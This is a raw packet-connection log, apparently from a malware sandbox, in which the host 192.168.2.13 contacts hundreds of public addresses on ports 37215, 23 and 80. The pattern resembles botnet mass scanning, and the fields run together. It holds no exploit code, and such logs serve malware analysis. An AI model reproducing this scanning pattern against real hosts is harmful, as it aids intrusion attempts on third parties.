                                                  Feb 4, 2025 18:08:31.990433931 CET4655937215192.168.2.1341.2.7.57
                                                  Feb 4, 2025 18:08:31.990437031 CET4655937215192.168.2.1341.46.31.4
                                                  Feb 4, 2025 18:08:31.990441084 CET4655937215192.168.2.1341.128.220.153
                                                  Feb 4, 2025 18:08:31.990441084 CET4655937215192.168.2.1341.157.55.157
                                                  Feb 4, 2025 18:08:31.990446091 CET4655937215192.168.2.13156.78.224.30
                                                  Feb 4, 2025 18:08:31.990446091 CET4655937215192.168.2.13197.254.242.178
                                                  Feb 4, 2025 18:08:31.990449905 CET4655937215192.168.2.13156.174.224.234
                                                  Feb 4, 2025 18:08:31.990449905 CET4655937215192.168.2.1341.170.64.222
                                                  Feb 4, 2025 18:08:31.990474939 CET4655937215192.168.2.13197.88.170.40
                                                  Feb 4, 2025 18:08:31.990479946 CET4655937215192.168.2.13197.181.102.233
                                                  Feb 4, 2025 18:08:31.990479946 CET4655937215192.168.2.13156.109.217.201
                                                  Feb 4, 2025 18:08:31.990479946 CET4655937215192.168.2.13197.23.128.97
                                                  Feb 4, 2025 18:08:31.990479946 CET4655937215192.168.2.13197.64.192.123
                                                  Feb 4, 2025 18:08:31.990482092 CET4655937215192.168.2.1341.241.14.156
                                                  Feb 4, 2025 18:08:31.990482092 CET4655937215192.168.2.13156.46.216.130
                                                  Feb 4, 2025 18:08:31.990483999 CET4655937215192.168.2.13197.204.174.4
                                                  Feb 4, 2025 18:08:31.990485907 CET4655937215192.168.2.13197.199.29.184
                                                  Feb 4, 2025 18:08:31.990494013 CET4655937215192.168.2.1341.14.91.1
                                                  Feb 4, 2025 18:08:31.990503073 CET4655937215192.168.2.13156.10.245.60
                                                  Feb 4, 2025 18:08:31.990511894 CET4655937215192.168.2.1341.24.14.161
                                                  Feb 4, 2025 18:08:31.990511894 CET4655937215192.168.2.13156.5.73.241
                                                  Feb 4, 2025 18:08:31.990514994 CET4655937215192.168.2.13197.97.245.108
                                                  Feb 4, 2025 18:08:31.990520000 CET4655937215192.168.2.13156.49.29.195
                                                  Feb 4, 2025 18:08:31.990525961 CET4655937215192.168.2.1341.193.22.172
                                                  Feb 4, 2025 18:08:31.990531921 CET4655937215192.168.2.1341.178.205.15
                                                  Feb 4, 2025 18:08:31.990531921 CET4655937215192.168.2.13156.27.118.153
                                                  Feb 4, 2025 18:08:31.990534067 CET4655937215192.168.2.13197.251.154.91
                                                  Feb 4, 2025 18:08:31.990549088 CET4655937215192.168.2.1341.230.241.178
                                                  Feb 4, 2025 18:08:31.990550995 CET4655937215192.168.2.13156.13.147.195
                                                  Feb 4, 2025 18:08:31.990551949 CET4655937215192.168.2.1341.109.149.35
                                                  Feb 4, 2025 18:08:31.990561962 CET4655937215192.168.2.13156.112.34.224
                                                  Feb 4, 2025 18:08:31.990564108 CET2345279131.8.243.65192.168.2.13
                                                  Feb 4, 2025 18:08:31.990576029 CET234527989.59.5.99192.168.2.13
                                                  Feb 4, 2025 18:08:31.990582943 CET4655937215192.168.2.13156.134.29.91
                                                  Feb 4, 2025 18:08:31.990582943 CET4655937215192.168.2.13156.46.234.35
                                                  Feb 4, 2025 18:08:31.990583897 CET4655937215192.168.2.13156.25.185.29
                                                  Feb 4, 2025 18:08:31.990586042 CET234527925.205.15.165192.168.2.13
                                                  Feb 4, 2025 18:08:31.990586996 CET4655937215192.168.2.1341.171.44.224
                                                  Feb 4, 2025 18:08:31.990586996 CET4655937215192.168.2.1341.225.1.126
                                                  Feb 4, 2025 18:08:31.990586996 CET4655937215192.168.2.1341.50.195.51
                                                  Feb 4, 2025 18:08:31.990586996 CET4655937215192.168.2.1341.63.140.1
                                                  Feb 4, 2025 18:08:31.990586996 CET4655937215192.168.2.1341.72.93.6
                                                  Feb 4, 2025 18:08:31.990590096 CET4655937215192.168.2.13197.112.255.226
                                                  Feb 4, 2025 18:08:31.990590096 CET4655937215192.168.2.1341.185.179.147
                                                  Feb 4, 2025 18:08:31.990590096 CET4655937215192.168.2.13156.42.63.65
                                                  Feb 4, 2025 18:08:31.990597010 CET4655937215192.168.2.13197.240.138.44
                                                  Feb 4, 2025 18:08:31.990597963 CET2345279131.154.74.49192.168.2.13
                                                  Feb 4, 2025 18:08:31.990601063 CET4655937215192.168.2.13197.29.184.52
                                                  Feb 4, 2025 18:08:31.990602016 CET4655937215192.168.2.13197.132.81.165
                                                  Feb 4, 2025 18:08:31.990602970 CET4655937215192.168.2.1341.202.105.232
                                                  Feb 4, 2025 18:08:31.990608931 CET2345279187.182.128.0192.168.2.13
                                                  Feb 4, 2025 18:08:31.990602016 CET4655937215192.168.2.1341.152.94.102
                                                  Feb 4, 2025 18:08:31.990617037 CET2345279125.210.230.165192.168.2.13
                                                  Feb 4, 2025 18:08:31.990617990 CET4655937215192.168.2.13156.232.145.52
                                                  Feb 4, 2025 18:08:31.990617990 CET4527923192.168.2.13131.8.243.65
                                                  Feb 4, 2025 18:08:31.990618944 CET4655937215192.168.2.13197.169.101.19
                                                  Feb 4, 2025 18:08:31.990621090 CET4655937215192.168.2.13156.64.246.135
                                                  Feb 4, 2025 18:08:31.990626097 CET4655937215192.168.2.13156.60.252.84
                                                  Feb 4, 2025 18:08:31.990628004 CET234527959.143.67.157192.168.2.13
                                                  Feb 4, 2025 18:08:31.990628004 CET4527923192.168.2.1389.59.5.99
                                                  Feb 4, 2025 18:08:31.990628004 CET4655937215192.168.2.13156.197.228.81
                                                  Feb 4, 2025 18:08:31.990628004 CET4655937215192.168.2.1341.9.36.179
                                                  Feb 4, 2025 18:08:31.990628004 CET4655937215192.168.2.13197.246.87.25
                                                  Feb 4, 2025 18:08:31.990638018 CET4527923192.168.2.13131.154.74.49
                                                  Feb 4, 2025 18:08:31.990638971 CET4527923192.168.2.13187.182.128.0
                                                  Feb 4, 2025 18:08:31.990639925 CET804604771.254.86.222192.168.2.13
                                                  Feb 4, 2025 18:08:31.990642071 CET4527923192.168.2.13125.210.230.165
                                                  Feb 4, 2025 18:08:31.990653038 CET8046047125.8.35.222192.168.2.13
                                                  Feb 4, 2025 18:08:31.990655899 CET4527923192.168.2.1359.143.67.157
                                                  Feb 4, 2025 18:08:31.990660906 CET4527923192.168.2.1325.205.15.165
                                                  Feb 4, 2025 18:08:31.990660906 CET4655937215192.168.2.13197.39.47.18
                                                  Feb 4, 2025 18:08:31.990660906 CET4655937215192.168.2.13156.195.238.44
                                                  Feb 4, 2025 18:08:31.990660906 CET4655937215192.168.2.1341.66.54.10
                                                  Feb 4, 2025 18:08:31.990664959 CET804604790.189.86.28192.168.2.13
                                                  Feb 4, 2025 18:08:31.990672112 CET4604780192.168.2.1371.254.86.222
                                                  Feb 4, 2025 18:08:31.990677118 CET8046047220.145.17.85192.168.2.13
                                                  Feb 4, 2025 18:08:31.990679026 CET4655937215192.168.2.13197.236.109.33
                                                  Feb 4, 2025 18:08:31.990685940 CET4655937215192.168.2.1341.135.144.68
                                                  Feb 4, 2025 18:08:31.990688086 CET8046047125.199.150.163192.168.2.13
                                                  Feb 4, 2025 18:08:31.990688086 CET4604780192.168.2.13125.8.35.222
                                                  Feb 4, 2025 18:08:31.990690947 CET4655937215192.168.2.1341.32.146.77
                                                  Feb 4, 2025 18:08:31.990691900 CET4655937215192.168.2.1341.43.135.97
                                                  Feb 4, 2025 18:08:31.990698099 CET8046047163.92.122.221192.168.2.13
                                                  Feb 4, 2025 18:08:31.990699053 CET4655937215192.168.2.13156.74.251.202
                                                  Feb 4, 2025 18:08:31.990704060 CET4604780192.168.2.1390.189.86.28
                                                  Feb 4, 2025 18:08:31.990704060 CET4604780192.168.2.13220.145.17.85
                                                  Feb 4, 2025 18:08:31.990708113 CET8046047115.19.111.194192.168.2.13
                                                  Feb 4, 2025 18:08:31.990711927 CET4655937215192.168.2.13156.131.207.73
                                                  Feb 4, 2025 18:08:31.990714073 CET4655937215192.168.2.1341.10.194.6
                                                  Feb 4, 2025 18:08:31.990715981 CET4655937215192.168.2.13197.108.176.84
                                                  Feb 4, 2025 18:08:31.990720987 CET4604780192.168.2.13125.199.150.163
                                                  Feb 4, 2025 18:08:31.990720987 CET4604780192.168.2.13163.92.122.221
                                                  Feb 4, 2025 18:08:31.990729094 CET804604782.211.15.34192.168.2.13
                                                  Feb 4, 2025 18:08:31.990741014 CET8046047129.221.41.125192.168.2.13
                                                  Feb 4, 2025 18:08:31.990751028 CET8046047142.173.161.60192.168.2.13
                                                  Feb 4, 2025 18:08:31.990761042 CET8046047203.164.51.116192.168.2.13
                                                  Feb 4, 2025 18:08:31.990761042 CET4604780192.168.2.13115.19.111.194
                                                  Feb 4, 2025 18:08:31.990763903 CET4655937215192.168.2.13156.56.94.85
                                                  Feb 4, 2025 18:08:31.990763903 CET4655937215192.168.2.13156.78.113.75
                                                  Feb 4, 2025 18:08:31.990765095 CET4655937215192.168.2.1341.75.158.188
                                                  Feb 4, 2025 18:08:31.990763903 CET4655937215192.168.2.13197.199.72.122
                                                  Feb 4, 2025 18:08:31.990766048 CET4655937215192.168.2.13156.21.144.120
                                                  Feb 4, 2025 18:08:31.990763903 CET4655937215192.168.2.13197.236.216.248
                                                  Feb 4, 2025 18:08:31.990768909 CET4655937215192.168.2.13197.9.157.242
                                                  Feb 4, 2025 18:08:31.990770102 CET4655937215192.168.2.1341.198.54.143
                                                  Feb 4, 2025 18:08:31.990770102 CET4655937215192.168.2.13197.192.196.111
                                                  Feb 4, 2025 18:08:31.990772009 CET804604779.119.8.72192.168.2.13
                                                  Feb 4, 2025 18:08:31.990775108 CET4655937215192.168.2.1341.1.32.170
                                                  Feb 4, 2025 18:08:31.990777969 CET4655937215192.168.2.13156.236.67.220
                                                  Feb 4, 2025 18:08:31.990780115 CET4604780192.168.2.13129.221.41.125
                                                  Feb 4, 2025 18:08:31.990780115 CET4655937215192.168.2.1341.125.134.122
                                                  Feb 4, 2025 18:08:31.990782976 CET804604753.39.254.138192.168.2.13
                                                  Feb 4, 2025 18:08:31.990784883 CET4655937215192.168.2.13156.230.76.210
                                                  Feb 4, 2025 18:08:31.990784883 CET4655937215192.168.2.13156.144.64.69
                                                  Feb 4, 2025 18:08:31.990784883 CET4604780192.168.2.1382.211.15.34
                                                  Feb 4, 2025 18:08:31.990784883 CET4655937215192.168.2.13156.107.54.60
                                                  Feb 4, 2025 18:08:31.990784883 CET4655937215192.168.2.13156.245.10.13
                                                  Feb 4, 2025 18:08:31.990784883 CET4604780192.168.2.13142.173.161.60
                                                  Feb 4, 2025 18:08:31.990792036 CET4655937215192.168.2.1341.69.48.36
                                                  Feb 4, 2025 18:08:31.990792036 CET4604780192.168.2.13203.164.51.116
                                                  Feb 4, 2025 18:08:31.990794897 CET8046047123.234.65.104192.168.2.13
                                                  Feb 4, 2025 18:08:31.990798950 CET4604780192.168.2.1379.119.8.72
                                                  Feb 4, 2025 18:08:31.990804911 CET8046047136.144.77.221192.168.2.13
                                                  Feb 4, 2025 18:08:31.990814924 CET8046047210.142.223.118192.168.2.13
                                                  Feb 4, 2025 18:08:31.990820885 CET4604780192.168.2.1353.39.254.138
                                                  Feb 4, 2025 18:08:31.990825891 CET8046047115.6.97.127192.168.2.13
                                                  Feb 4, 2025 18:08:31.990825891 CET4604780192.168.2.13123.234.65.104
                                                  Feb 4, 2025 18:08:31.990828991 CET4604780192.168.2.13136.144.77.221
                                                  Feb 4, 2025 18:08:31.990837097 CET804604776.35.218.150192.168.2.13
                                                  Feb 4, 2025 18:08:31.990842104 CET4604780192.168.2.13210.142.223.118
                                                  Feb 4, 2025 18:08:31.990848064 CET8046047135.173.189.57192.168.2.13
                                                  Feb 4, 2025 18:08:31.990858078 CET804604734.106.225.159192.168.2.13
                                                  Feb 4, 2025 18:08:31.990859985 CET4604780192.168.2.13115.6.97.127
                                                  Feb 4, 2025 18:08:31.990864992 CET4604780192.168.2.1376.35.218.150
                                                  Feb 4, 2025 18:08:31.990869045 CET804604731.80.193.118192.168.2.13
                                                  Feb 4, 2025 18:08:31.990880013 CET4604780192.168.2.13135.173.189.57
                                                  Feb 4, 2025 18:08:31.990892887 CET4604780192.168.2.1334.106.225.159
                                                  Feb 4, 2025 18:08:31.990895033 CET4604780192.168.2.1331.80.193.118
                                                  Feb 4, 2025 18:08:31.991136074 CET804604712.15.33.75192.168.2.13
                                                  Feb 4, 2025 18:08:31.991147995 CET804604734.105.64.81192.168.2.13
                                                  Feb 4, 2025 18:08:31.991158009 CET8046047197.146.6.52192.168.2.13
                                                  Feb 4, 2025 18:08:31.991168976 CET8046047154.129.176.21192.168.2.13
                                                  Feb 4, 2025 18:08:31.991174936 CET4604780192.168.2.1312.15.33.75
                                                  Feb 4, 2025 18:08:31.991178036 CET4604780192.168.2.1334.105.64.81
                                                  Feb 4, 2025 18:08:31.991179943 CET8046047146.26.113.194192.168.2.13
                                                  Feb 4, 2025 18:08:31.991194963 CET4604780192.168.2.13197.146.6.52
                                                  Feb 4, 2025 18:08:31.991198063 CET4604780192.168.2.13154.129.176.21
                                                  Feb 4, 2025 18:08:31.991200924 CET804604786.33.52.125192.168.2.13
                                                  Feb 4, 2025 18:08:31.991214037 CET804604747.84.188.172192.168.2.13
                                                  Feb 4, 2025 18:08:31.991215944 CET4604780192.168.2.13146.26.113.194
                                                  Feb 4, 2025 18:08:31.991225004 CET8046047156.59.90.21192.168.2.13
                                                  Feb 4, 2025 18:08:31.991235018 CET8046047210.199.157.41192.168.2.13
                                                  Feb 4, 2025 18:08:31.991240025 CET4604780192.168.2.1386.33.52.125
                                                  Feb 4, 2025 18:08:31.991244078 CET4604780192.168.2.1347.84.188.172
                                                  Feb 4, 2025 18:08:31.991246939 CET8046047131.181.122.161192.168.2.13
                                                  Feb 4, 2025 18:08:31.991257906 CET8046047186.233.208.111192.168.2.13
                                                  Feb 4, 2025 18:08:31.991261005 CET4604780192.168.2.13156.59.90.21
                                                  Feb 4, 2025 18:08:31.991270065 CET8046047156.190.132.68192.168.2.13
                                                  Feb 4, 2025 18:08:31.991275072 CET4604780192.168.2.13210.199.157.41
                                                  Feb 4, 2025 18:08:31.991275072 CET4604780192.168.2.13131.181.122.161
                                                  Feb 4, 2025 18:08:31.991281986 CET8046047154.18.217.238192.168.2.13
                                                  Feb 4, 2025 18:08:31.991292000 CET8046047207.219.175.253192.168.2.13
                                                  Feb 4, 2025 18:08:31.991297960 CET4604780192.168.2.13186.233.208.111
                                                  Feb 4, 2025 18:08:31.991300106 CET4604780192.168.2.13156.190.132.68
                                                  Feb 4, 2025 18:08:31.991305113 CET804604779.173.166.3192.168.2.13
                                                  Feb 4, 2025 18:08:31.991317034 CET4604780192.168.2.13154.18.217.238
                                                  Feb 4, 2025 18:08:31.991323948 CET8046047137.3.235.134192.168.2.13
                                                  Feb 4, 2025 18:08:31.991334915 CET4604780192.168.2.13207.219.175.253
                                                  Feb 4, 2025 18:08:31.991334915 CET8046047179.14.174.238192.168.2.13
                                                  Feb 4, 2025 18:08:31.991336107 CET4604780192.168.2.1379.173.166.3
                                                  Feb 4, 2025 18:08:31.991348982 CET8046047175.218.196.41192.168.2.13
                                                  Feb 4, 2025 18:08:31.991358995 CET804604799.77.210.27192.168.2.13
                                                  Feb 4, 2025 18:08:31.991359949 CET4604780192.168.2.13137.3.235.134
                                                  Feb 4, 2025 18:08:31.991362095 CET4604780192.168.2.13179.14.174.238
                                                  Feb 4, 2025 18:08:31.991364002 CET8046047173.230.166.102192.168.2.13
                                                  Feb 4, 2025 18:08:31.991375923 CET804604769.43.202.12192.168.2.13
                                                  Feb 4, 2025 18:08:31.991386890 CET8046047221.122.109.184192.168.2.13
                                                  Feb 4, 2025 18:08:31.991395950 CET4604780192.168.2.13175.218.196.41
                                                  Feb 4, 2025 18:08:31.991395950 CET4604780192.168.2.1399.77.210.27
                                                  Feb 4, 2025 18:08:31.991399050 CET4604780192.168.2.13173.230.166.102
                                                  Feb 4, 2025 18:08:31.991400957 CET8046047164.35.45.42192.168.2.13
                                                  Feb 4, 2025 18:08:31.991410971 CET8046047190.75.73.77192.168.2.13
                                                  Feb 4, 2025 18:08:31.991416931 CET4604780192.168.2.1369.43.202.12
                                                  Feb 4, 2025 18:08:31.991416931 CET4604780192.168.2.13221.122.109.184
                                                  Feb 4, 2025 18:08:31.991422892 CET804604765.10.135.180192.168.2.13
                                                  Feb 4, 2025 18:08:31.991435051 CET8046047186.166.97.202192.168.2.13
                                                  Feb 4, 2025 18:08:31.991436005 CET4604780192.168.2.13164.35.45.42
                                                  Feb 4, 2025 18:08:31.991446018 CET804604735.255.207.212192.168.2.13
                                                  Feb 4, 2025 18:08:31.991449118 CET4604780192.168.2.13190.75.73.77
                                                  Feb 4, 2025 18:08:31.991456985 CET8046047141.207.51.27192.168.2.13
                                                  Feb 4, 2025 18:08:31.991457939 CET4604780192.168.2.1365.10.135.180
                                                  Feb 4, 2025 18:08:31.991468906 CET4604780192.168.2.13186.166.97.202
                                                  Feb 4, 2025 18:08:31.991497993 CET4604780192.168.2.1335.255.207.212
                                                  Feb 4, 2025 18:08:31.991498947 CET4604780192.168.2.13141.207.51.27
                                                  Feb 4, 2025 18:08:31.991717100 CET804604750.136.91.89192.168.2.13
                                                  Feb 4, 2025 18:08:31.991729021 CET8046047152.95.251.69192.168.2.13
                                                  Feb 4, 2025 18:08:31.991739035 CET8046047183.76.184.149192.168.2.13
                                                  Feb 4, 2025 18:08:31.991750002 CET8046047197.129.120.71192.168.2.13
                                                  Feb 4, 2025 18:08:31.991751909 CET4604780192.168.2.1350.136.91.89
                                                  Feb 4, 2025 18:08:31.991755962 CET4604780192.168.2.13152.95.251.69
                                                  Feb 4, 2025 18:08:31.991760969 CET8046047169.124.189.28192.168.2.13
                                                  Feb 4, 2025 18:08:31.991767883 CET4604780192.168.2.13183.76.184.149
                                                  Feb 4, 2025 18:08:31.991771936 CET8046047179.181.137.232192.168.2.13
                                                  Feb 4, 2025 18:08:31.991784096 CET8046047129.159.172.100192.168.2.13
                                                  Feb 4, 2025 18:08:31.991786957 CET4604780192.168.2.13197.129.120.71
                                                  Feb 4, 2025 18:08:31.991795063 CET804604781.33.228.73192.168.2.13
                                                  Feb 4, 2025 18:08:31.991799116 CET4604780192.168.2.13169.124.189.28
                                                  Feb 4, 2025 18:08:31.991802931 CET4604780192.168.2.13179.181.137.232
                                                  Feb 4, 2025 18:08:31.991813898 CET8046047181.197.17.79192.168.2.13
                                                  Feb 4, 2025 18:08:31.991822004 CET4604780192.168.2.1381.33.228.73
                                                  Feb 4, 2025 18:08:31.991825104 CET8046047130.120.157.226192.168.2.13
                                                  Feb 4, 2025 18:08:31.991826057 CET4604780192.168.2.13129.159.172.100
                                                  Feb 4, 2025 18:08:31.991837025 CET8046047156.26.94.146192.168.2.13
                                                  Feb 4, 2025 18:08:31.991847038 CET8046047169.105.60.100192.168.2.13
                                                  Feb 4, 2025 18:08:31.991854906 CET4604780192.168.2.13181.197.17.79
                                                  Feb 4, 2025 18:08:31.991854906 CET4604780192.168.2.13130.120.157.226
                                                  Feb 4, 2025 18:08:31.991857052 CET8046047122.113.250.13192.168.2.13
                                                  Feb 4, 2025 18:08:31.991868019 CET4604780192.168.2.13156.26.94.146
                                                  Feb 4, 2025 18:08:31.991868973 CET804604736.167.178.118192.168.2.13
                                                  Feb 4, 2025 18:08:31.991879940 CET8046047176.193.73.92192.168.2.13
                                                  Feb 4, 2025 18:08:31.991883039 CET4604780192.168.2.13169.105.60.100
                                                  Feb 4, 2025 18:08:31.991889000 CET4604780192.168.2.13122.113.250.13
                                                  Feb 4, 2025 18:08:31.991899014 CET8046047132.83.44.20192.168.2.13
                                                  Feb 4, 2025 18:08:31.991899967 CET4604780192.168.2.1336.167.178.118
                                                  Feb 4, 2025 18:08:31.991910934 CET8046047200.45.208.118192.168.2.13
                                                  Feb 4, 2025 18:08:31.991916895 CET4604780192.168.2.13176.193.73.92
                                                  Feb 4, 2025 18:08:31.991921902 CET804604738.62.70.45192.168.2.13
                                                  Feb 4, 2025 18:08:31.991933107 CET8046047189.51.213.145192.168.2.13
                                                  Feb 4, 2025 18:08:31.991935968 CET4604780192.168.2.13132.83.44.20
                                                  Feb 4, 2025 18:08:31.991944075 CET8046047179.122.49.148192.168.2.13
                                                  Feb 4, 2025 18:08:31.991947889 CET4604780192.168.2.13200.45.208.118
                                                  Feb 4, 2025 18:08:31.991955042 CET8046047188.56.141.212192.168.2.13
                                                  Feb 4, 2025 18:08:31.991956949 CET4604780192.168.2.1338.62.70.45
                                                  Feb 4, 2025 18:08:31.991964102 CET4604780192.168.2.13189.51.213.145
                                                  Feb 4, 2025 18:08:31.991966963 CET80460472.129.27.83192.168.2.13
                                                  Feb 4, 2025 18:08:31.991976976 CET804604774.171.99.215192.168.2.13
                                                  Feb 4, 2025 18:08:31.991980076 CET4604780192.168.2.13179.122.49.148
                                                  Feb 4, 2025 18:08:31.991980076 CET4604780192.168.2.13188.56.141.212
                                                  Feb 4, 2025 18:08:31.991986036 CET8046047157.152.227.193192.168.2.13
                                                  Feb 4, 2025 18:08:31.991997957 CET804604717.185.207.106192.168.2.13
                                                  Feb 4, 2025 18:08:31.991998911 CET4604780192.168.2.132.129.27.83
                                                  Feb 4, 2025 18:08:31.992007971 CET8046047104.98.104.59192.168.2.13
                                                  Feb 4, 2025 18:08:31.992016077 CET4604780192.168.2.1374.171.99.215
                                                  Feb 4, 2025 18:08:31.992018938 CET804604779.65.139.80192.168.2.13
                                                  Feb 4, 2025 18:08:31.992023945 CET4604780192.168.2.13157.152.227.193
                                                  Feb 4, 2025 18:08:31.992031097 CET4604780192.168.2.1317.185.207.106
                                                  Feb 4, 2025 18:08:31.992031097 CET804604714.95.223.133192.168.2.13
                                                  Feb 4, 2025 18:08:31.992039919 CET4604780192.168.2.13104.98.104.59
                                                  Feb 4, 2025 18:08:31.992053032 CET4604780192.168.2.1379.65.139.80
                                                  Feb 4, 2025 18:08:31.992062092 CET4604780192.168.2.1314.95.223.133
                                                  Feb 4, 2025 18:08:31.992259026 CET804604764.169.118.95192.168.2.13
                                                  Feb 4, 2025 18:08:31.992269993 CET804604713.12.237.98192.168.2.13
                                                  Feb 4, 2025 18:08:31.992280960 CET804604783.203.254.162192.168.2.13
                                                  Feb 4, 2025 18:08:31.992290974 CET8046047153.102.109.14192.168.2.13
                                                  Feb 4, 2025 18:08:31.992295980 CET4604780192.168.2.1364.169.118.95
                                                  Feb 4, 2025 18:08:31.992301941 CET8046047160.247.79.192192.168.2.13
                                                  Feb 4, 2025 18:08:31.992305994 CET4604780192.168.2.1313.12.237.98
                                                  Feb 4, 2025 18:08:31.992311954 CET804604792.199.92.32192.168.2.13
                                                  Feb 4, 2025 18:08:31.992322922 CET8046047194.99.13.21192.168.2.13
                                                  Feb 4, 2025 18:08:31.992326975 CET4604780192.168.2.1383.203.254.162
                                                  Feb 4, 2025 18:08:31.992331028 CET4604780192.168.2.13153.102.109.14
                                                  Feb 4, 2025 18:08:31.992331028 CET4604780192.168.2.13160.247.79.192
                                                  Feb 4, 2025 18:08:31.992333889 CET804604753.81.149.111192.168.2.13
                                                  Feb 4, 2025 18:08:31.992345095 CET8046047164.114.93.6192.168.2.13
                                                  Feb 4, 2025 18:08:31.992356062 CET804604714.119.74.16192.168.2.13
                                                  Feb 4, 2025 18:08:31.992366076 CET804604727.96.164.45192.168.2.13
                                                  Feb 4, 2025 18:08:31.992372036 CET4604780192.168.2.13194.99.13.21
                                                  Feb 4, 2025 18:08:31.992372036 CET4604780192.168.2.1392.199.92.32
                                                  Feb 4, 2025 18:08:31.992377043 CET8046047202.56.206.42192.168.2.13
                                                  Feb 4, 2025 18:08:31.992383003 CET4604780192.168.2.1353.81.149.111
                                                  Feb 4, 2025 18:08:31.992383003 CET4604780192.168.2.13164.114.93.6
                                                  Feb 4, 2025 18:08:31.992388010 CET804604789.68.140.39192.168.2.13
                                                  Feb 4, 2025 18:08:31.992398977 CET4604780192.168.2.1327.96.164.45
                                                  Feb 4, 2025 18:08:31.992399931 CET4604780192.168.2.1314.119.74.16
                                                  Feb 4, 2025 18:08:31.992400885 CET8046047190.237.238.51192.168.2.13
                                                  Feb 4, 2025 18:08:31.992410898 CET8046047139.26.75.243192.168.2.13
                                                  Feb 4, 2025 18:08:31.992414951 CET4604780192.168.2.13202.56.206.42
                                                  Feb 4, 2025 18:08:31.992419958 CET8046047116.94.55.116192.168.2.13
                                                  Feb 4, 2025 18:08:31.992427111 CET4604780192.168.2.1389.68.140.39
                                                  Feb 4, 2025 18:08:31.992427111 CET4604780192.168.2.13190.237.238.51
                                                  Feb 4, 2025 18:08:31.992429972 CET804604725.99.185.104192.168.2.13
                                                  Feb 4, 2025 18:08:31.992440939 CET804604771.183.247.108192.168.2.13
                                                  Feb 4, 2025 18:08:31.992444038 CET4604780192.168.2.13139.26.75.243
                                                  Feb 4, 2025 18:08:31.992449999 CET8046047170.87.92.110192.168.2.13
                                                  Feb 4, 2025 18:08:31.992450953 CET4604780192.168.2.13116.94.55.116
                                                  Feb 4, 2025 18:08:31.992463112 CET8046047199.240.121.52192.168.2.13
                                                  Feb 4, 2025 18:08:31.992465973 CET4604780192.168.2.1325.99.185.104
                                                  Feb 4, 2025 18:08:31.992472887 CET804604752.107.67.223192.168.2.13
                                                  Feb 4, 2025 18:08:31.992472887 CET4604780192.168.2.1371.183.247.108
                                                  Feb 4, 2025 18:08:31.992484093 CET8046047110.165.36.17192.168.2.13
                                                  Feb 4, 2025 18:08:31.992486000 CET4604780192.168.2.13170.87.92.110
                                                  Feb 4, 2025 18:08:31.992492914 CET4604780192.168.2.13199.240.121.52
                                                  Feb 4, 2025 18:08:31.992495060 CET8046047124.50.175.109192.168.2.13
                                                  Feb 4, 2025 18:08:31.992505074 CET804604796.24.40.135192.168.2.13
                                                  Feb 4, 2025 18:08:31.992508888 CET4604780192.168.2.1352.107.67.223
                                                  Feb 4, 2025 18:08:31.992515087 CET8046047134.102.44.115192.168.2.13
                                                  Feb 4, 2025 18:08:31.992516994 CET4604780192.168.2.13110.165.36.17
                                                  Feb 4, 2025 18:08:31.992526054 CET804604772.32.64.84192.168.2.13
                                                  Feb 4, 2025 18:08:31.992528915 CET4604780192.168.2.1396.24.40.135
                                                  Feb 4, 2025 18:08:31.992531061 CET4604780192.168.2.13124.50.175.109
                                                  Feb 4, 2025 18:08:31.992536068 CET8046047113.24.93.32192.168.2.13
                                                  Feb 4, 2025 18:08:31.992544889 CET8046047122.42.102.183192.168.2.13
                                                  Feb 4, 2025 18:08:31.992552996 CET4604780192.168.2.13134.102.44.115
                                                  Feb 4, 2025 18:08:31.992554903 CET4604780192.168.2.1372.32.64.84
                                                  Feb 4, 2025 18:08:31.992569923 CET4604780192.168.2.13113.24.93.32
                                                  Feb 4, 2025 18:08:31.992573977 CET4604780192.168.2.13122.42.102.183
                                                  Feb 4, 2025 18:08:31.992647886 CET8046047185.40.254.128192.168.2.13
                                                  Feb 4, 2025 18:08:31.992686987 CET4604780192.168.2.13185.40.254.128
                                                  Feb 4, 2025 18:08:31.992784023 CET8046047157.228.250.107192.168.2.13
                                                  Feb 4, 2025 18:08:31.992794991 CET8046047140.63.62.42192.168.2.13
                                                  Feb 4, 2025 18:08:31.992804050 CET8046047170.92.57.0192.168.2.13
                                                  Feb 4, 2025 18:08:31.992815971 CET8046047131.150.3.35192.168.2.13
                                                  Feb 4, 2025 18:08:31.992821932 CET4604780192.168.2.13157.228.250.107
                                                  Feb 4, 2025 18:08:31.992825031 CET4604780192.168.2.13140.63.62.42
                                                  Feb 4, 2025 18:08:31.992825985 CET8046047175.159.56.52192.168.2.13
                                                  Feb 4, 2025 18:08:31.992836952 CET804604739.52.140.118192.168.2.13
                                                  Feb 4, 2025 18:08:31.992839098 CET4604780192.168.2.13170.92.57.0
                                                  Feb 4, 2025 18:08:31.992846966 CET804604723.159.157.10192.168.2.13
                                                  Feb 4, 2025 18:08:31.992857933 CET804604775.195.234.116192.168.2.13
                                                  Feb 4, 2025 18:08:31.992866039 CET4604780192.168.2.13175.159.56.52
                                                  Feb 4, 2025 18:08:31.992866039 CET4604780192.168.2.1339.52.140.118
                                                  Feb 4, 2025 18:08:31.992870092 CET4604780192.168.2.13131.150.3.35
                                                  Feb 4, 2025 18:08:31.992876053 CET804604731.53.248.235192.168.2.13
                                                  Feb 4, 2025 18:08:31.992878914 CET4604780192.168.2.1323.159.157.10
                                                  Feb 4, 2025 18:08:31.992887020 CET804604799.220.110.45192.168.2.13
                                                  Feb 4, 2025 18:08:31.992894888 CET4604780192.168.2.1375.195.234.116
                                                  Feb 4, 2025 18:08:31.992896080 CET8046047143.75.93.23192.168.2.13
                                                  Feb 4, 2025 18:08:31.992906094 CET804604719.94.182.173192.168.2.13
                                                  Feb 4, 2025 18:08:31.992913961 CET4604780192.168.2.1399.220.110.45
                                                  Feb 4, 2025 18:08:31.992916107 CET804604768.146.66.187192.168.2.13
                                                  Feb 4, 2025 18:08:31.992918015 CET4604780192.168.2.1331.53.248.235
                                                  Feb 4, 2025 18:08:31.992925882 CET8046047209.199.169.166192.168.2.13
                                                  Feb 4, 2025 18:08:31.992930889 CET4604780192.168.2.13143.75.93.23
                                                  Feb 4, 2025 18:08:31.992935896 CET80460472.147.248.146192.168.2.13
                                                  Feb 4, 2025 18:08:31.992945910 CET8046047149.194.23.52192.168.2.13
                                                  Feb 4, 2025 18:08:31.992949963 CET4604780192.168.2.1319.94.182.173
                                                  Feb 4, 2025 18:08:31.992949963 CET4604780192.168.2.1368.146.66.187
                                                  Feb 4, 2025 18:08:31.992955923 CET804604770.70.143.67192.168.2.13
                                                  Feb 4, 2025 18:08:31.992959976 CET4604780192.168.2.13209.199.169.166
                                                  Feb 4, 2025 18:08:31.992968082 CET8046047143.226.151.79192.168.2.13
